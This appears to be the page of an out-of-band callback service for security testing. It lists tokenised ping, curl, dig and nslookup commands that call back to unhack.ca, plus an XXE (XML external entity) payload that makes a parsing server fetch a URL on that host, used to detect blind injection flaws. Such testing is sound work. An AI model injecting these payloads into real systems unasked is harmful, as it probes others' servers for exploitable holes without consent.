$ ping -c1 -p 00174d1da0b8a5730bebe2fe246b6700 unhack.ca
 
$ curl http://unhack.ca/p/174d1da0b8a5730bebe2fe246b67
 
$ dig 174d1da0b8a5730bebe2fe246b67 @unhack.ca
 
$ dig 174d1da0b8a5730bebe2fe246b67.ns.unhack.ca
 
C:\> nslookup 174d1da0b8a5730bebe2fe246b67 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/174d1da0b8a5730bebe2fe246b67">]>
    <foo>&xxe;</foo>
Waiting for ping...